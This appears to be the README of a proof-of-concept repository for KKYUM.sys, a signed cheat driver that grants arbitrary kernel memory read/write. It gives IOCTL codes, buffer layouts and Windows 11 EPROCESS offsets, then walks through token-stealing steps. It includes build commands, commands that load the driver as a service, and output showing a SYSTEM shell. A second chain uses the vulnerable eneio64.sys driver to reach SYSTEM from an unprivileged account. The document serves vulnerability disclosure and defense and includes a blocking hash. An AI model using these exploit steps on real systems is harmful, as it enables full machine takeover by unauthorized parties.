KKYUMPoC
_._ _,-'""`-._
(,-.`._,'( |\`-/|
`-.-' \ )-`( , o o)
`- \`_`"'- _SiCk // afflicted.sh
PoC and driver analysis for KKYUM.sys, a WHQL-signed cheat driver
(LOLDrivers PR #405, sha256
72bd55f4459c992b9caa1a33cb6862f1f3085ca35839c58dee8b75db22ca605f,
26,768 bytes, WHQL-attestation signed). The leaf signer is the uniform
CN=Microsoft Windows Hardware Compatibility Publisher (via
Microsoft Windows Third Party Component CA 2012) that every
attestation-signed driver carries — the vendor identity is not recoverable
from the artifact. Version resource is stripped; the only fingerprint
present is PDBPath: E:\Windows\Desktop\Dev\Driver\IOBase\kmumd\Release\ioctl-km.pdb.
The driver exposes \\.\KKYUM with no meaningful ACL and wraps
MmCopyVirtualMemory behind two ioctls that take a caller-supplied PID:
arbitrary cross-process read/write, kernel VAs included, from a standard
user token. The device resolves PsLookupProcessByProcessId(pid) per call
and never checks who's asking.
#define IOCTL_READ 0x22265c
#define IOCTL_WRITE 0x222658
// in/out buffer layout, both directions:
typedef struct {
uint32_t pid; // target process, any pid incl 4
uint32_t count; // op count
struct {
uint64_t remote; // VA in target process (kernel VA ok)
uint64_t local; // VA in your process
uint64_t size;
} ops[1];
} REQ;
the PoC (pwn.c)
Elevated token-steal, 126 lines, HVCI-compatible (data-only):
AdjustTokenPrivileges(SeDebugPrivilege, ENABLED)— required. the SystemModuleInformation scrub gate checks enabled, not held. a stock admin cmd holds it disabled and QSI(11) returns zeroed ImageBase.NtQuerySystemInformation(SystemModuleInformation)-> ntoskrnl base.- Walk ntoskrnl exports ->
PsInitialSystemProcess-> System EPROCESS. - Walk
ActiveProcessLinksuntil pid matches ours. - Copy System's token over ours. Verify. Spawn
cmd /k whoami(SYSTEM). - Restore original token after 2s.
Offsets (Windows 11 26100 / 26200):
UniqueProcessId 0x1d0
ActiveProcessLinks 0x1d8
Token 0x248
build
x86_64-w64-mingw32-gcc -s -O2 -o pwn.exe pwn.c
run
Load the driver once from an elevated cmd (driver not bundled in this repo — pull from LOLDrivers PR #405):
sc create KKYUM binPath= C:\path\to\KKYUM.sys type= kernel
sc start KKYUM
then from the same elevated cmd:
pwn.exe
Expected:
[*] KKYUM.sys LPE
[+] nt fffff807bf800000
[+] dev
[+] sysEproc ffffbb8fc44c5040
[+] pid 2552 eproc ffffbb800aff2080 tok ffffaa086420263f -> ffffaa07fb27d93f
[+] SYSTEM shell (pid 26644)
[+] restored
Verified on Windows 11 26200 with VBS off (VM) and with HVCI on (bare metal). pwn.exe also auto-starts the service if it finds it stopped.
full ioctl map
see ANALYSIS.md. summary:
0x222658 WRITE {pid, count, ops[{remote, local, size}]} MmCopyVirtualMemory
0x22265C READ same layout, direction flipped
0x222650 module base {pid, name} -> DllBase, PEB->Ldr walk, out @ +520
0x222654 image name -> pid, kernel-side QSI walk, out @ +512
0x22261C DKOM link, objects via win32kbase!ValidateHwnd, +88/+96
0x222620 DKOM unlink (window hiding)
0x222624 win32kfull call-site with attacker-controlled RDX
0x222640 set XOR key for subsequent ioctl buffers
0x222644 kbdclass/mouclass queue scanner init
0x222648 cursor sprite patch
0x22264C cursor sprite patch (variant)
0x222662 READ, MDL variant (same MmCopyVirtualMemory)
0x222666 WRITE, MDL variant
Import table is ntoskrnl + the WDF loader stub only. No NDIS/WSK/file/registry imports — the driver has no C2 or exfiltration capability; if the parent cheat phones home, the user-mode client does it.
chain_exploit.c — fully unelevated (no SeDebug, no admin)
chain_exploit.c chains a second vulnerable driver, eneio64.sys
(CVE-2020-12446, discovered by @ihack4falafel,
exploit technique by @Xacone,
sha256 38c18db050b0b2b07f657c03db1c9595febae0319c746c3eede677e21cd238b0,
WHQL-signed via ASUSTeK / ENE Technology, LOLDrivers entry).
eneio64 maps all physical memory into the calling process via \\.\GLCKIo
(IOCTL 0x80102040), from a standard user token, in one call. The entry-point
scan in the low 1MB of physical memory kills KASLR without asking Windows
anything — no API, no scrub layer, no decoy possible.
Both drivers load under HVCI with no test mode. Neither is in Microsoft's
vulnerable driver blocklist (verified against the local driversipolicy.p7b
and VbsSiPolicy.p7b — hash bytes, filenames, and signer names all absent).
Chain:
- Open
\\.\GLCKIoand\\.\KKYUM— both from a standard user token - eneio64 maps all 17.5 GB of physical memory into the process
- Load
ntoskrnl.exefile image locally, read the entry point RVA - Scan the low stub (first 1 MB of physical) for a live kernel pointer to that entry — base = pointer − RVA (the Xacone method)
- KKYUM reads the export table at that kernel VA →
PsInitialSystemProcess - Walk
ActiveProcessLinksto our EPROCESS, swap System's token over ours - Spawn
cmd /k whoami—nt authority\systemfrom zero privileges - Restore token after 2s
[*] running as x (elevated=0) - it doesn't matter
[+] both devices open, standard token [x, elevated=0]
[*] ntoskrnl entry point b4d3e0
[*] mapped 44963dfff bytes at 000001D736020000
[*] found entry ptr fffff805b4dfd3e0 -> base fffff805b42b0000
[+] nt base fffff805b42b0000
[+] sysEproc ffffd387356cf040 - Mew
[+] pid 9716 eprocess -> ffffd38745c9d080 - Mew
[+] tok ffff950d1959d066 -> ffff950d0d2894f5 - Meow
[+] SYSTEM cmd [pid 4008].
[+] Token restored! <3.
[*] Pop goes the shell.
Build:
x86_64-w64-mingw32-gcc -s -O2 -o chain_exploit.exe chain_exploit.c
Run (load both drivers once from admin, then normal cmd):
sc create KKYUM type= kernel binPath= C:\Windows\Temp\KKYUM.sys && sc start KKYUM
sc create eneio64 type= kernel binPath= C:\Windows\Temp\eneio64.sys && sc start eneio64
chain_exploit.exe
On 26100/26200 every classic unelevated kernel-address disclosure is closed against a standard user token:
- QSI 0x11 module info / 0x40 handle table / 0x39 thread fields: scrubbed
- QSI 0x42 big pool: tags+sizes real, address field reduced to a 0/1 flag
- TEBs: sanitized
- desktop heap user alias: relative offsets, no raw kernel pointers
- System (pid 4)
PEB->Ldris NULL — the module-lookup ioctl leaks nothing
and the last fixed-address fallback is a trap: ring-3 sidt on 26200 returns
a decoy IDT base (0xFFFFF80000001000, unmapped) — reading it through the
driver is a guaranteed PAGE_FAULT_IN_NONPAGED_AREA bugcheck. Verified on
both a VMware guest (VBS off) and bare metal under Hyper-V (HVCI on), same
faulting address on both. Control read through the same primitive
(0xFFFFF78000000000, kernel view of KUSER_SHARED_DATA) returns real bytes,
so the primitive is fine — the address isn't.
Full writeup, including the four bluescreens and the sidt post-mortem: https://afflicted.sh/blog/posts/kkyum-leak-graveyard.html
defense
Block by hash 72bd55f4459c992b9caa1a33cb6862f1f3085ca35839c58dee8b75db22ca605f
(Microsoft vulnerable driver blocklist entry pending at time of writing) and
revoke trust in the signing identity if you're in a position to.
lab use only. point it at machines you own.
_SiCk · afflicted.sh